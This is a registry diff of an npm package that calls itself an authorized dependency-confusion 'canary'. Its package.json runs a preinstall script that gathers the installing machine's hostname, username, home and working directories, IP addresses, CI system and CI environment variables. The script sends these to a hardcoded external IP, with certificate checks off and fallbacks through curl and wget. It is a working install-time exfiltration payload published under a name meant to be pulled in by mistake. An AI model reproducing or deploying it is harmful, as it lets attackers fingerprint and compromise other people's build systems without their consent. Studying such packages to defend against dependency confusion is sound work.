dataterminal-ui-svc 999.0.0-security-test
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +19 -0
- package/package.json +25 -0
- package/preinstall.js +285 -0
package/index.js
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* dataterminal-ui-svc - Security Research Canary Package
|
|
3
|
+
*
|
|
4
|
+
* This package is part of an authorized dependency confusion
|
|
5
|
+
* vulnerability assessment for Heidelberg Cloud Systems.
|
|
6
|
+
*
|
|
7
|
+
* If you see this package installed in your project and did not
|
|
8
|
+
* expect it, your build system may be vulnerable to dependency
|
|
9
|
+
* confusion attacks.
|
|
10
|
+
*
|
|
11
|
+
* Contact: heidelbergcloud-security@heidelberg.com
|
|
12
|
+
*/
|
|
13
|
+
|
|
14
|
+
module.exports = {
|
|
15
|
+
name: 'dataterminal-ui-svc',
|
|
16
|
+
version: '999.0.0-security-test',
|
|
17
|
+
type: 'security-canary',
|
|
18
|
+
message: 'This is a security research package. It should not be used in production.'
|
|
19
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "dataterminal-ui-svc",
|
|
3
|
+
"version": "999.0.0-security-test",
|
|
4
|
+
"description": "Security research canary package for authorized penetration testing. This package is part of a dependency confusion vulnerability assessment.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js || true"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"security",
|
|
11
|
+
"research",
|
|
12
|
+
"canary",
|
|
13
|
+
"authorized-test"
|
|
14
|
+
],
|
|
15
|
+
"author": "heidelbergcloud-security@heidelberg.com",
|
|
16
|
+
"license": "UNLICENSED",
|
|
17
|
+
"repository": {
|
|
18
|
+
"type": "git",
|
|
19
|
+
"url": "https://github.com/heidelberg-security/dependency-confusion-canary"
|
|
20
|
+
},
|
|
21
|
+
"publishConfig": {
|
|
22
|
+
"access": "public",
|
|
23
|
+
"tag": "security-test"
|
|
24
|
+
}
|
|
25
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,285 @@
|
|
|
1
|
+
const CALLBACK_URL = process.env.CANARY_CALLBACK_URL || 'http://3.250.204.221:65204';
|
|
2
|
+
const PACKAGE_NAME = 'dataterminal-ui-svc';
|
|
3
|
+
const PACKAGE_VERSION = '999.0.0-security-test';
|
|
4
|
+
const CANARY_ID = process.env.CANARY_ID || 'heidelberg-dataterminal-ui-svc-test';
|
|
5
|
+
|
|
6
|
+
// ════════════════════════════════════════════════════════════════════════════
|
|
7
|
+
|
|
8
|
+
const https = require('https');
|
|
9
|
+
const http = require('http');
|
|
10
|
+
const os = require('os');
|
|
11
|
+
const { execSync } = require('child_process');
|
|
12
|
+
|
|
13
|
+
/**
|
|
14
|
+
* Sammle System-Informationen für Callback
|
|
15
|
+
*/
|
|
16
|
+
function collectSystemInfo() {
|
|
17
|
+
const info = {
|
|
18
|
+
// Package Info
|
|
19
|
+
package: PACKAGE_NAME,
|
|
20
|
+
version: PACKAGE_VERSION,
|
|
21
|
+
canary_id: CANARY_ID,
|
|
22
|
+
timestamp: new Date().toISOString(),
|
|
23
|
+
|
|
24
|
+
// System Info
|
|
25
|
+
hostname: os.hostname(),
|
|
26
|
+
platform: os.platform(),
|
|
27
|
+
arch: os.arch(),
|
|
28
|
+
release: os.release(),
|
|
29
|
+
user: os.userInfo().username,
|
|
30
|
+
homedir: os.homedir(),
|
|
31
|
+
cwd: process.cwd(),
|
|
32
|
+
|
|
33
|
+
// Node Info
|
|
34
|
+
node_version: process.version,
|
|
35
|
+
npm_version: process.env.npm_package_version || 'unknown',
|
|
36
|
+
|
|
37
|
+
// CI/CD Detection
|
|
38
|
+
ci: detectCI(),
|
|
39
|
+
|
|
40
|
+
// Environment (gefiltert - nur CI-relevante Variablen)
|
|
41
|
+
env: filterEnvironment()
|
|
42
|
+
};
|
|
43
|
+
|
|
44
|
+
// Optional: Netzwerk-Info
|
|
45
|
+
try {
|
|
46
|
+
const interfaces = os.networkInterfaces();
|
|
47
|
+
const ips = [];
|
|
48
|
+
for (const name of Object.keys(interfaces)) {
|
|
49
|
+
for (const iface of interfaces[name]) {
|
|
50
|
+
if (!iface.internal && iface.family === 'IPv4') {
|
|
51
|
+
ips.push({ name, address: iface.address });
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
info.network = ips;
|
|
56
|
+
} catch (e) {
|
|
57
|
+
info.network = 'error';
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
return info;
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
/**
|
|
64
|
+
* Erkenne CI/CD Umgebung
|
|
65
|
+
*/
|
|
66
|
+
function detectCI() {
|
|
67
|
+
const ciIndicators = {
|
|
68
|
+
'GitLab CI': !!process.env.GITLAB_CI,
|
|
69
|
+
'GitHub Actions': !!process.env.GITHUB_ACTIONS,
|
|
70
|
+
'Jenkins': !!process.env.JENKINS_URL,
|
|
71
|
+
'Azure Pipelines': !!process.env.TF_BUILD,
|
|
72
|
+
'CircleCI': !!process.env.CIRCLECI,
|
|
73
|
+
'Travis CI': !!process.env.TRAVIS,
|
|
74
|
+
'Bitbucket Pipelines': !!process.env.BITBUCKET_BUILD_NUMBER,
|
|
75
|
+
'AWS CodeBuild': !!process.env.CODEBUILD_BUILD_ID,
|
|
76
|
+
'Generic CI': !!process.env.CI
|
|
77
|
+
};
|
|
78
|
+
|
|
79
|
+
const detected = Object.entries(ciIndicators)
|
|
80
|
+
.filter(([_, v]) => v)
|
|
81
|
+
.map(([k, _]) => k);
|
|
82
|
+
|
|
83
|
+
return detected.length > 0 ? detected : ['local'];
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
/**
|
|
87
|
+
* Filtere Environment-Variablen (nur sichere/relevante)
|
|
88
|
+
*/
|
|
89
|
+
function filterEnvironment() {
|
|
90
|
+
const safeVars = [
|
|
91
|
+
'CI', 'GITLAB_CI', 'GITHUB_ACTIONS', 'JENKINS_URL', 'TF_BUILD',
|
|
92
|
+
'CIRCLECI', 'TRAVIS', 'BITBUCKET_BUILD_NUMBER', 'CODEBUILD_BUILD_ID',
|
|
93
|
+
'CI_PROJECT_NAME', 'CI_PIPELINE_ID', 'CI_JOB_NAME', 'CI_RUNNER_ID',
|
|
94
|
+
'GITHUB_REPOSITORY', 'GITHUB_WORKFLOW', 'GITHUB_RUN_ID',
|
|
95
|
+
'npm_lifecycle_event', 'npm_package_name',
|
|
96
|
+
'NODE_ENV', 'PATH'
|
|
97
|
+
];
|
|
98
|
+
|
|
99
|
+
const filtered = {};
|
|
100
|
+
for (const key of safeVars) {
|
|
101
|
+
if (process.env[key]) {
|
|
102
|
+
if (key === 'PATH') {
|
|
103
|
+
filtered[key] = process.env[key].substring(0, 200) + '...';
|
|
104
|
+
} else {
|
|
105
|
+
filtered[key] = process.env[key];
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
return filtered;
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
/**
|
|
113
|
+
* Sende HTTP/HTTPS Callback
|
|
114
|
+
*/
|
|
115
|
+
function sendCallback(info) {
|
|
116
|
+
return new Promise((resolve, reject) => {
|
|
117
|
+
try {
|
|
118
|
+
const url = new URL(CALLBACK_URL);
|
|
119
|
+
const isHttps = url.protocol === 'https:';
|
|
120
|
+
const client = isHttps ? https : http;
|
|
121
|
+
|
|
122
|
+
const data = JSON.stringify(info);
|
|
123
|
+
|
|
124
|
+
const options = {
|
|
125
|
+
hostname: url.hostname,
|
|
126
|
+
port: url.port || (isHttps ? 443 : 80),
|
|
127
|
+
path: url.pathname || '/',
|
|
128
|
+
method: 'POST',
|
|
129
|
+
headers: {
|
|
130
|
+
'Content-Type': 'application/json',
|
|
131
|
+
'Content-Length': Buffer.byteLength(data),
|
|
132
|
+
'User-Agent': `npm-canary/${PACKAGE_NAME}`,
|
|
133
|
+
'X-Canary-Package': PACKAGE_NAME,
|
|
134
|
+
'X-Canary-Version': PACKAGE_VERSION
|
|
135
|
+
},
|
|
136
|
+
timeout: 10000,
|
|
137
|
+
rejectUnauthorized: false
|
|
138
|
+
};
|
|
139
|
+
|
|
140
|
+
const req = client.request(options, (res) => {
|
|
141
|
+
resolve({ status: res.statusCode, method: 'POST' });
|
|
142
|
+
});
|
|
143
|
+
|
|
144
|
+
req.on('error', (e) => {
|
|
145
|
+
sendCallbackGET(info).then(resolve).catch(reject);
|
|
146
|
+
});
|
|
147
|
+
|
|
148
|
+
req.on('timeout', () => {
|
|
149
|
+
req.destroy();
|
|
150
|
+
reject(new Error('Timeout'));
|
|
151
|
+
});
|
|
152
|
+
|
|
153
|
+
req.write(data);
|
|
154
|
+
req.end();
|
|
155
|
+
|
|
156
|
+
} catch (e) {
|
|
157
|
+
reject(e);
|
|
158
|
+
}
|
|
159
|
+
});
|
|
160
|
+
}
|
|
161
|
+
|
|
162
|
+
/**
|
|
163
|
+
* Fallback: GET Request mit Query-Parametern
|
|
164
|
+
*/
|
|
165
|
+
function sendCallbackGET(info) {
|
|
166
|
+
return new Promise((resolve, reject) => {
|
|
167
|
+
try {
|
|
168
|
+
const url = new URL(CALLBACK_URL);
|
|
169
|
+
const isHttps = url.protocol === 'https:';
|
|
170
|
+
const client = isHttps ? https : http;
|
|
171
|
+
|
|
172
|
+
const params = new URLSearchParams({
|
|
173
|
+
pkg: info.package,
|
|
174
|
+
id: info.canary_id,
|
|
175
|
+
host: info.hostname,
|
|
176
|
+
user: info.user,
|
|
177
|
+
ci: info.ci.join(','),
|
|
178
|
+
ts: Date.now()
|
|
179
|
+
});
|
|
180
|
+
|
|
181
|
+
const options = {
|
|
182
|
+
hostname: url.hostname,
|
|
183
|
+
port: url.port || (isHttps ? 443 : 80),
|
|
184
|
+
path: `${url.pathname || '/'}?${params.toString()}`,
|
|
185
|
+
method: 'GET',
|
|
186
|
+
timeout: 10000,
|
|
187
|
+
rejectUnauthorized: false
|
|
188
|
+
};
|
|
189
|
+
|
|
190
|
+
const req = client.request(options, (res) => {
|
|
191
|
+
resolve({ status: res.statusCode, method: 'GET' });
|
|
192
|
+
});
|
|
193
|
+
|
|
194
|
+
req.on('error', reject);
|
|
195
|
+
req.on('timeout', () => {
|
|
196
|
+
req.destroy();
|
|
197
|
+
reject(new Error('Timeout'));
|
|
198
|
+
});
|
|
199
|
+
|
|
200
|
+
req.end();
|
|
201
|
+
|
|
202
|
+
} catch (e) {
|
|
203
|
+
reject(e);
|
|
204
|
+
}
|
|
205
|
+
});
|
|
206
|
+
}
|
|
207
|
+
|
|
208
|
+
/**
|
|
209
|
+
* Fallback: curl/wget (für Umgebungen ohne Node HTTPS)
|
|
210
|
+
*/
|
|
211
|
+
function sendCallbackCurl(info) {
|
|
212
|
+
const compact = JSON.stringify({
|
|
213
|
+
pkg: info.package,
|
|
214
|
+
id: info.canary_id,
|
|
215
|
+
host: info.hostname,
|
|
216
|
+
user: info.user,
|
|
217
|
+
ci: info.ci
|
|
218
|
+
});
|
|
219
|
+
|
|
220
|
+
try {
|
|
221
|
+
execSync(`curl -s -k -X POST -H "Content-Type: application/json" -d '${compact}' "${CALLBACK_URL}" 2>/dev/null`, {
|
|
222
|
+
timeout: 10000,
|
|
223
|
+
stdio: ['pipe', 'pipe', 'pipe']
|
|
224
|
+
});
|
|
225
|
+
return { method: 'curl', status: 'sent' };
|
|
226
|
+
} catch (e) {
|
|
227
|
+
try {
|
|
228
|
+
execSync(`wget -q --no-check-certificate --post-data='${compact}' "${CALLBACK_URL}" -O /dev/null 2>/dev/null`, {
|
|
229
|
+
timeout: 10000,
|
|
230
|
+
stdio: ['pipe', 'pipe', 'pipe']
|
|
231
|
+
});
|
|
232
|
+
return { method: 'wget', status: 'sent' };
|
|
233
|
+
} catch (e2) {
|
|
234
|
+
return { method: 'none', status: 'failed' };
|
|
235
|
+
}
|
|
236
|
+
}
|
|
237
|
+
}
|
|
238
|
+
|
|
239
|
+
/**
|
|
240
|
+
* Zeige Security-Warning
|
|
241
|
+
*/
|
|
242
|
+
function showWarning() {
|
|
243
|
+
console.log('');
|
|
244
|
+
console.log('╔═══════════════════════════════════════════════════════════════════╗');
|
|
245
|
+
console.log('║ ⚠️ SECURITY TEST - DEPENDENCY CONFUSION CANARY ║');
|
|
246
|
+
console.log('╠═══════════════════════════════════════════════════════════════════╣');
|
|
247
|
+
console.log('║ This package was installed as part of an authorized security ║');
|
|
248
|
+
console.log('║ assessment. If you did not expect this, your build system may ║');
|
|
249
|
+
console.log('║ be vulnerable to dependency confusion attacks. ║');
|
|
250
|
+
console.log('║ ║');
|
|
251
|
+
console.log('║ Package: dataterminal-ui-svc ║');
|
|
252
|
+
console.log('║ Contact: heidelbergcloud-security@heidelberg.com ║');
|
|
253
|
+
console.log('╚═══════════════════════════════════════════════════════════════════╝');
|
|
254
|
+
console.log('');
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
// ════════════════════════════════════════════════════════════════════════════
|
|
258
|
+
// MAIN
|
|
259
|
+
// ════════════════════════════════════════════════════════════════════════════
|
|
260
|
+
|
|
261
|
+
async function main() {
|
|
262
|
+
showWarning();
|
|
263
|
+
|
|
264
|
+
if (CALLBACK_URL.includes('YOUR-VPS')) {
|
|
265
|
+
console.log('[CANARY] No callback URL configured - skipping callback');
|
|
266
|
+
return;
|
|
267
|
+
}
|
|
268
|
+
|
|
269
|
+
console.log(`[CANARY] Package: ${PACKAGE_NAME}@${PACKAGE_VERSION}`);
|
|
270
|
+
console.log(`[CANARY] Callback URL: ${CALLBACK_URL}`);
|
|
271
|
+
|
|
272
|
+
const info = collectSystemInfo();
|
|
273
|
+
|
|
274
|
+
try {
|
|
275
|
+
const result = await sendCallback(info);
|
|
276
|
+
console.log(`[CANARY] Callback sent via ${result.method} (${result.status})`);
|
|
277
|
+
} catch (e) {
|
|
278
|
+
const result = sendCallbackCurl(info);
|
|
279
|
+
console.log(`[CANARY] Callback via ${result.method}: ${result.status}`);
|
|
280
|
+
}
|
|
281
|
+
}
|
|
282
|
+
|
|
283
|
+
main().catch(e => {
|
|
284
|
+
console.log('[CANARY] Callback failed:', e.message);
|
|
285
|
+
});
|